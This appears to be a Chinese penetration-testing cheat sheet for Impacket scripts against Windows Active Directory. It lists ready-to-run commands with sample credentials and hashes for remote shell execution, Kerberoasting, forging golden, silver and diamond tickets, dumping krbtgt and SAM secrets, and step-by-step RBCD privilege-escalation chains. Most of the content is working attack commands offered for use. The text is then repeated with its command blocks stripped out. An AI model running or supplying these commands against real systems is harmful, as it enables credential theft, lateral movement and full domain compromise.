Impacket脚本利用指南(上)
字数 2322 2025-08-26 22:11:51

Impacket脚本利用指南

1. Impacket概述

Impacket是一个处理各种网络协议的Python类库,提供对数据包的底层编程,并为某些协议提供对应的协议实现。它不仅包含示例脚本,还提供了强大的协议处理能力。

2. 远程执行脚本

2.1 psexec.py

  • 功能:使用RemComSvc实现PSEXEC功能
  • 认证方式:密码、hash、Kerberos
  • 常用命令
    # 交互式Shell
    py -3 psexec.py test/administrator:1qaz@WSX@192.168.40.156
    
    # 执行单命令
    py -3 psexec.py test/administrator:1qaz@WSX@192.168.40.156 whoami
    
    # 上传文件并执行
    py -3 psexec.py test/administrator@192.168.40.156 "/c 1+1" -remote-binary-name test.exe -codec 936 -path c:\windows\temp\ -c p.exe -hashes :161cff084477fe596a5db81874498a24
    
  • 常用选项
    • -port:指定目标SMB端口
    • -codec:设置目标回显编码
    • -service-name:指定创建服务名称
    • -remote-binary-name:指定上传文件名称

2.2 smbexec.py

  • 功能:类似PSEXEC但不使用RemComSvc,使用本地SMB Server接收结果
  • 常用命令
    py -3 smbexec.py test/administrator:1qaz@WSX@192.168.40.156
    
  • 常用选项
    • -share:设置回显共享路径(默认C$)
    • -mode:设置SHARE或SERVER回显
    • -shell-type:设置返回Shell类型(cmd/powershell)

2.3 atexec.py

  • 功能:通过MS-TSCH协议控制计划任务执行命令
  • 常用命令
    py -3 atexec.py test/administrator:1qaz@WSX@192.168.40.156 whoami
    
  • 常用选项
    • -session-id:使用登录的SESSION运行(无回显)
    • -silentcommand:不运行cmd.exe直接运行命令

2.4 wmiexec.py

  • 功能:通过WMI实现半交互式Shell
  • 常用命令
    py -3 wmiexec.py test/administrator:1qaz@WSX@192.168.40.156
    
  • 常用选项
    • -share:设置连接共享路径(默认ADMIN$)
    • -nooutput:不获取输出
    • -silentcommand:不运行cmd.exe直接运行命令
    • -shell-type:设置返回Shell类型

2.5 dcomexec.py

  • 功能:类似wmiexec.py但使用DCOM接口
  • 常用命令
    py -3 dcomexec.py -object MMC20 test.com/administrator:1qaz@WSX@192.168.40.156
    
  • 常用选项
    • -object:设置RCE利用类型(ShellWindows/ShellBrowserWindow/MMC20)
    • -com-version:设置DCOM版本

3. Kerberos协议脚本

3.1 GetTGT.py

  • 功能:请求TGT并保存为ccache格式
  • 常用命令
    py -3 GetTGT.py test/administrator:1qaz@WSX -dc-ip 192.168.40.156
    

3.2 GetST.py

  • 功能:请求服务票据并保存为ccache格式
  • 常用命令
    py -3 GetST.py test/administrator:1qaz@WSX -dc-ip 192.168.40.156 -spn cifs/AD01.test.com
    
  • 常用选项
    • -impersonate:模拟指定用户权限
    • -additional-ticket:在S4U2Proxy中添加可转发服务票据
    • -force-forwardable:强制忽略校验票据是否可转发

3.3 GetPac.py

  • 功能:请求经过身份验证的PAC
  • 常用命令
    py -3 getPac.py test.com/administrator:1qaz@WSX -targetUser test
    

3.4 GetUserSPNs.py

  • 功能:找出与普通用户关联的SPN
  • 常用命令
    py -3 GetUserSPNs.py test.com/administrator:1qaz@WSX -target-domain test.com
    
  • 常用选项
    • -request:请求所有用户SPN的TGS
    • -request-user:请求指定用户的TGS
    • -usersfile:请求文件内所有用户的TGS

3.5 GetNPUsers.py

  • 功能:列出不需要Kerberos预认证的用户
  • 常用命令
    py -3 GetNPUsers.py test.com/test:1qaz@WSX
    
  • 常用选项
    • -request:请求不需要预认证用户的TGT
    • -format:设置AS_REQ爆破格式(hashcat/john)
    • -usersfile:请求文件内所有用户的TGT

3.6 rbcd.py

  • 功能:处理msDS-AllowedToActOnBehalfOfOtherIdentity属性
  • 常用命令
    py -3 rbcd.py -delegate-to WIN-7$ -delegate-from test_computer$ -dc-ip 192.168.40.140 test/test:1qaz@WSX -action write
    
  • 常用选项
    • -action:选择操作(read/write/remove/flush)
    • -use-ldaps:使用LDAPS协议

3.7 ticketConverter.py

  • 功能:在kirbi和ccache文件间转换
  • 常用命令
    py -3 ticketConverter.py administrator.ccache administrator.kirbi
    

3.8 ticketer.py

  • 功能:创建金/银票据
  • 常用命令
    # 银票伪造
    py -3 ticketer.py -spn cifs/win-7 -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -domain test.com -nthash 96dd976cc094ca1ddb2f06476fb61eb6 qqq
    
    # 金票伪造
    py -3 ticketer.py -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -domain test.com -nthash 96dd976cc094ca1ddb2f06476fb61eb6 qqq
    
    # 钻石票据伪造
    py -3 ticketer.py -request -domain test.com -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -user administrator -password 1qaz@WSX -aesKey 245a674a434726c081385a3e2b33b62397e9b5fd7d02a613212c7407b9f13b41 -user-id 1500 -groups 12,513,518,519,520 qqq
    
  • 常用选项
    • -spn:银票用,指定服务SPN
    • -request:钻石票据伪造
    • -aesKey:krbtgt的AES密钥
    • -nthash:krbtgt的NTLM hash
    • -user-id:伪造PAC的用户权限ID
    • -groups:伪造PAC的组权限ID

3.9 raiseChild.py

  • 功能:通过金票据和ExtraSids实现子域到域森林提权
  • 常用命令
    py -3 raiseChild.py childDomain.net/adminuser:mypwd
    

4. Windows密码相关脚本

4.1 secretsdump.py

  • 功能:远程dump密码
  • 常用命令
    # 基于NTLM认证导出
    py -3 secretsdump.py -hashes 5f8506740ed68996ffd4e5cf80cb5174:5f8506740ed68996ffd4e5cf80cb5174 "domain/DC\$@DCIP" -just-dc-user krbtgt
    
    # 基于Kerberos票据导出
    export KRB5CCNAME=ad01.ccache
    py -3 secretsdump.py -k -no-pass AD01.test.com -dc-ip 192.168.111.146 -target-ip 192.168.111.146 -just-dc-user krbtgt
    
    # 本地解密SAM
    py -3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
    
  • 常用选项
    • -system:指定SYSTEM文件
    • -security:指定SECURITY文件
    • -sam:指定SAM文件
    • -ntds:指定NTDS.DIT文件
    • -use-vss:使用vss卷影替代DRSUAPI
    • -exec-method:vss卷影导出时执行命令的方法

4.2 mimikatz.py

  • 功能:控制远程mimikatz RPC服务器
  • 前置条件:目标机器上已执行mimikatz # rpc::server
  • 常用命令
    py -3 mimikatz.py test.com/administrator:1qaz@WSX@192.168.40.158
    

5. 通用选项

5.1 认证方式

  • Hash认证
    py -3 xxx.py domain/user@ip -hashes :161cff084477fe596a5db81874498a24
    
  • Kerberos认证
    export KRB5CCNAME=ad01.ccache
    py -3 xxx.py -k -no-pass
    

5.2 其他通用选项

  • -target-ip:指定目标IP
  • -dc-ip:指定域控IP

6. 实用技巧

6.1 rbcd利用实例

  1. 添加computer账户:
    py -3 addcomputer.py test.com/test:1qaz@WSX -computer-name test_computer$ -computer-pass 1qaz@WSX
    
  2. 设置msDS-AllowedToActOnBehalfOfOtherIdentity属性:
    py -3 rbcd.py -delegate-to WIN-7$ -delegate-from test_computer$ -dc-ip 192.168.40.140 test/test:1qaz@WSX -action write
    
  3. 获取administrator的cifs服务票据:
    py -3 getST.py -spn 'cifs/WIN-7' -impersonate administrator -dc-ip 192.168.40.140 'test/test_computer$:1qaz@WSX'
    
  4. 转换票据格式并注入:
    py -3 ticketConverter.py administrator.ccache administrator.kirbi
    mimikatz # kerberos::ptt C:\Python38\Scripts\administrator.kirbi
    

6.2 无MAQ时的利用方式

  1. 请求TGT:
    getTGT.py -hashes :$(pypykatz crypto nt 'password') test/test
    
  2. 修改Session Key:
    describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'
    smbpasswd.py -newhashes :TGTSessionKey test/test:'password'@'dc01'
    
  3. 模拟用户:
    KRBR5CCNAME='TGT.ccache' getST.py -u2u -impersonate Administrator -k -no-pass test/test
    
  4. 还原hash:
    smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash test/test@'dc01'
    
Impacket脚本利用指南 1. Impacket概述 Impacket是一个处理各种网络协议的Python类库,提供对数据包的底层编程,并为某些协议提供对应的协议实现。它不仅包含示例脚本,还提供了强大的协议处理能力。 2. 远程执行脚本 2.1 psexec.py 功能 :使用RemComSvc实现PSEXEC功能 认证方式 :密码、hash、Kerberos 常用命令 : 常用选项 : -port :指定目标SMB端口 -codec :设置目标回显编码 -service-name :指定创建服务名称 -remote-binary-name :指定上传文件名称 2.2 smbexec.py 功能 :类似PSEXEC但不使用RemComSvc,使用本地SMB Server接收结果 常用命令 : 常用选项 : -share :设置回显共享路径(默认C$) -mode :设置SHARE或SERVER回显 -shell-type :设置返回Shell类型(cmd/powershell) 2.3 atexec.py 功能 :通过MS-TSCH协议控制计划任务执行命令 常用命令 : 常用选项 : -session-id :使用登录的SESSION运行(无回显) -silentcommand :不运行cmd.exe直接运行命令 2.4 wmiexec.py 功能 :通过WMI实现半交互式Shell 常用命令 : 常用选项 : -share :设置连接共享路径(默认ADMIN$) -nooutput :不获取输出 -silentcommand :不运行cmd.exe直接运行命令 -shell-type :设置返回Shell类型 2.5 dcomexec.py 功能 :类似wmiexec.py但使用DCOM接口 常用命令 : 常用选项 : -object :设置RCE利用类型(ShellWindows/ShellBrowserWindow/MMC20) -com-version :设置DCOM版本 3. Kerberos协议脚本 3.1 GetTGT.py 功能 :请求TGT并保存为ccache格式 常用命令 : 3.2 GetST.py 功能 :请求服务票据并保存为ccache格式 常用命令 : 常用选项 : -impersonate :模拟指定用户权限 -additional-ticket :在S4U2Proxy中添加可转发服务票据 -force-forwardable :强制忽略校验票据是否可转发 3.3 GetPac.py 功能 :请求经过身份验证的PAC 常用命令 : 3.4 GetUserSPNs.py 功能 :找出与普通用户关联的SPN 常用命令 : 常用选项 : -request :请求所有用户SPN的TGS -request-user :请求指定用户的TGS -usersfile :请求文件内所有用户的TGS 3.5 GetNPUsers.py 功能 :列出不需要Kerberos预认证的用户 常用命令 : 常用选项 : -request :请求不需要预认证用户的TGT -format :设置AS_ REQ爆破格式(hashcat/john) -usersfile :请求文件内所有用户的TGT 3.6 rbcd.py 功能 :处理msDS-AllowedToActOnBehalfOfOtherIdentity属性 常用命令 : 常用选项 : -action :选择操作(read/write/remove/flush) -use-ldaps :使用LDAPS协议 3.7 ticketConverter.py 功能 :在kirbi和ccache文件间转换 常用命令 : 3.8 ticketer.py 功能 :创建金/银票据 常用命令 : 常用选项 : -spn :银票用,指定服务SPN -request :钻石票据伪造 -aesKey :krbtgt的AES密钥 -nthash :krbtgt的NTLM hash -user-id :伪造PAC的用户权限ID -groups :伪造PAC的组权限ID 3.9 raiseChild.py 功能 :通过金票据和ExtraSids实现子域到域森林提权 常用命令 : 4. Windows密码相关脚本 4.1 secretsdump.py 功能 :远程dump密码 常用命令 : 常用选项 : -system :指定SYSTEM文件 -security :指定SECURITY文件 -sam :指定SAM文件 -ntds :指定NTDS.DIT文件 -use-vss :使用vss卷影替代DRSUAPI -exec-method :vss卷影导出时执行命令的方法 4.2 mimikatz.py 功能 :控制远程mimikatz RPC服务器 前置条件 :目标机器上已执行 mimikatz # rpc::server 常用命令 : 5. 通用选项 5.1 认证方式 Hash认证 : Kerberos认证 : 5.2 其他通用选项 -target-ip :指定目标IP -dc-ip :指定域控IP 6. 实用技巧 6.1 rbcd利用实例 添加computer账户: 设置msDS-AllowedToActOnBehalfOfOtherIdentity属性: 获取administrator的cifs服务票据: 转换票据格式并注入: 6.2 无MAQ时的利用方式 请求TGT: 修改Session Key: 模拟用户: 还原hash: